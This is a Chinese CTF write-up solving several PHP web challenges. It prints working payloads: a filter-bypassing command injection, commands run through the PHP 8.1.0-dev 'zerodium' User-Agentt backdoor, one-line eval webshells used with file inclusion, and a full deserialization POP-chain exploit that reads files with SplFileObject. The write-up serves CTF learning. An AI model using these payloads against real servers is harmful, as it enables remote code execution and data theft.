赣CTF-WEB-WP

发布时间 2023-12-17 17:07:17作者: gxngxngxn

赣CTF-WEB-WP

水果忍者~

出的JS小游戏签到题,看前端中的all.js文件,即可找到flag。

Ez_RCe

反引号命令执行

preg_match("/flag|cat|tac|system|\\$|\\.|\\\\|exec|pass/i")

这边过滤了许多关键字

我们知道在linux中反引号``也可以执行系统命令,只不过不会回显,需要我们打印出来。

可以看到根目录下存在flag,我们常用cat,tac读取,但是这里过滤了,所以我们用nl读取文件,flag被过滤用通配符绕过

payload:

POST:eval=echo `nl /f*`;

ikun的危险secret

在前端的game.js文件中找到secret,base64解密后=>"flag在哪我不知道,我只知道你这php版本很危险啊!!!"

根据提示查看php版本,可以在network中查看,也可以burp抓包后查看:

复制,右键,百度一搜

发现这个版本的php自带后门,找篇文章跟着复现一遍:

查看根目录下flag文件:

User-Agentt: zerodiumsystem('cat /f*');

提示在env中,直接执行env命令:

User-Agentt: zerodiumsystem('env');

在环境变量中可以看到flag

Array-Master

考查数组的强弱比较

==:弱比较

===:强比较

在弱比较下,数组只要键值对相同,即可判断为两个数组相等

在强比较下,数组不仅仅要键值对相同,还要顺序相同,才能判断为相等

所以这边:

if($c == $_POST['d'] && $c !== $_POST['d']){       
   echo "你就是ARRAY MASTER!!!</br>";       
   echo file_get_contents('/flag');     
}     
else{
    echo "你就是ARRAY JOKER!!!";     
} 

!就是=的相反,所以我们要满足上述if条件,只需要保证我们传入的数组键值对的值跟$c相同,顺序不同即可

payload:

//前面的md5就用数组绕过

POST:a[]=1&b[]=2&d[1]=T&d[0]=C&d[2]=F&d[3]=E&d[4]=R

ez_信息收集

根据提示爬虫,知道访问robots.txt

看到有个gxngxngxn.php文件

访问,即可得到用户名和密码

## username: gxngxngxn

## password: Y0u_are_gr3at!

登录后跳转到 Y0u_Find_Me.php

右键查看页面源代码,提示flag变成雨滴落下

访问rain.js文件即可得到flag

ez_信息收集2.0

同样访问robots.txt,看到存在几百个文件(嘿嘿,我故意放这么多文件),根据提示说用户名和密码被放在了其中的一个文件里。

解法一(预期解):

写个python脚本,运用re库和request库来进行批量访问:

import requests
import re
url="http://47.76.55.63:21887/" #你的url
r1=requests.get(url+"robots.txt") #访问robots.txt
pattern = re.compile(r"Disallow:\s+([\w.]+\.txt)") #正则匹配 Disallow:后的文件名
matches = pattern.findall(r1.text)
for file_name in matches:
    r2=requests.get(url+file_name) #逐个请求
    if "username" in r2.text: #如果username在网页中,则打印出来网页内容
        print(file_name+":"+r2.text)
        break

可以看到用户名和密码被放到了szbge.txt中,剩余流程一样

解法二:

emmm,由于是洗了个澡后临时想到出的题,本意是想考察脚本编写,但是忘记了burp可以爆破了

大概流程就是把robots.txt下的文件名形成一个字典,导入burp的爆破模块,然后请求,看回显长度即可

解法三:

手动一个个访问,只要你有耐心,就不怕!!!!(懂了,下次我放几千个文件)

头像收集器

文件包含+文件上传结合,特殊的php标签

这边我设置的是可以任意上传文件,但是你上传后会发现我把他重命名为一堆数字了,同时给出了文件的绝对路径,然后点击再来一张,可以重新上传,但是注意观察路由,这时我们跳转到了/Try_Again.php?file=index.php,很明显是个文件包含,所以你可以把你上传文件的绝对路由放过去:

/Try_Again.php?file=/var/www/html/upload/xxxxxxx

就可以成功包含自己上传文件的内容,所以我们这里就可以上传个php一句话木马,例如:

<?php eval($_POST[0])?>

但是访问后你会发现,这里的?会被自动替换成!

那么我们需要上传一个不带?,但是可以被当成php执行的一句话木马,这里我故意将php版本设置为php5,就是为了让你们搜索发现;

<script language='php'>eval($_POST[0]);</script>

这个一句话木马可以被当成php解析,但是注意在php7后就被废除了

接下来就说上传,然后文件包含,然后rce (我太懒了,不想截图了,你们自己复现吧,对不起,呜呜呜~~)

HappyBot

反序列化+套娃+绕过

首先是一个机器人,右键页面源代码,要求我们get传参一个start,按照要求传参后即可得到源码:

<?php
error_reporting(0);
class o_o{
    public $o;
    public $O;
    public $oO;
    public $Oo;
    public function __destruct(){
        $char='0123456789abcdefghijklmnopqrstuvwsyzABCDEFGHIGKLMN';
        $random=substr(str_shuffle($char),0,10);
        $this->oO=$random;
        if($this->Oo === $this->oO){
             $this->O="gxngxngxn";
             $this->o->O;
        }
        else{
            echo "菜就多练,练多就不菜";
        }
    }
}
class o_0{
    public $o;
    public $o_o;
    public function __get($o){
        $this ->o="你确定是这里吗???";
        ($this->o_o)[$o]();
    }
}
class oo_00{
    private $oo;
    public $OO;
    protected $Oo;
    public function __invoke(){
        if(!is_array($this -> oo)){
            if(preg_match('/^O_o$/i',$this->oo) && $this->oo != "O_o"){
                echo new $this->Oo($this->OO);
            }
            else{
                echo "尊嘟";
            }
        }
        else{
            echo "假嘟";
        }
    }
}

$O_o=$_GET['start'];
if(isset($O_o)){
    highlight_file(__FILE__);
    unserialize($_GET['尊嘟假嘟']);
}
else{
    include "./zundu.html";
} 

很简单的pop链子:

o_o :: __destruct -> o_0 :: __get -> oo_00 ::__invoke

首先我们看入口点:这里生成了10位数随机字符串并且赋值给了oO,那么要想进入下一步,就需要我们满足Oo===oO,那么这里肯定不是猜随机字符串(想都不敢想),这里我们可以用取地址&,将Oo的值赋值为oO的地址,这样两个值就相等了,也就进入了if路由,然后

赋值o=new o_0() 触发__get魔术方法

接着我们需要通过($this->o_o)[$o]() 来触发 oo_00类中的__invoke魔术方法

因为__get魔术方法是在读取不可访问或不存在属性的值的时候被触发,所以这里接收的就是那个不存在的属性

我们在$this->o->O这里属性O是o_0类中没有的,所以这里$o的值为O

所以我们只需要给$this->o_o赋值一个数组,让键"O"的值为new oo_00()即可

接着绕过preg_match('/^O_o$/i',$this->oo) && $this->oo != "O_o"

这里一搜一搜就知道用个%0a绕过即可

后面

echo new $this->Oo($this->OO);

这考察原生类反序列化,也是自己去搜一搜看看是啥吧

下面给出exp(前面的分析好累,早就不想写了):

<?php
class o_o{
    public $o;
    public $O;
    public $oO;
    public $Oo;
	public function __construct(){
		$this->Oo=&$this->oO;
	}
}
class o_0{
    public $o;
    public $o_o;
}
class oo_00{
    public $oo="O_o%0a";
    public $OO="/f111111ag";  
    public $Oo="SplFileObject";
    //这里直接读文件了,一开始你肯定不知道flag文件的名称,所以你需要运用别的原生类来得到flag名称,出题人太懒了,这里如何得到文件名的过程就不写了,不会的可以问问你们的学长。
} 
$a=new o_o();
$a->o=new o_0();
$a->o->o_o=array("O"=>new oo_00());
echo serialize($a);

运行后生成:

O:3:"o_o":4:{s:1:"o";O:3:"o_0":2:{s:1:"o";N;s:3:"o_o";a:1:{s:1:"O";O:5:"oo_00":3:{s:2:"oo";s:6:"O_o%0a";s:2:"OO";s:10:"/f111111ag";s:2:"Oo";s:13:"SplFileObject";}}}s:1:"O";N;s:2:"oO";N;s:2:"Oo";R:10;}

这边你想直接传参吗,你可以去试试,然后会回显 “菜就多练,练多就不菜”

那么原因在哪呢,问题出在%0a是换行符的意思,在解析的过程中会被解析成一个字符,所以s:6:"O_o%0a"这里的个数应该是4,而不是6

那么手动改下:

O:3:"o_o":4:{s:1:"o";O:3:"o_0":2:{s:1:"o";N;s:3:"o_o";a:1:{s:1:"O";O:5:"oo_00":3:{s:2:"oo";s:4:"O_o%0a";s:2:"OO";s:10:"/f111111ag";s:2:"Oo";s:13:"SplFileObject";}}}s:1:"O";N;s:2:"oO";N;s:2:"Oo";R:10;}

再传参即可得到flag啦啦啦啦啦。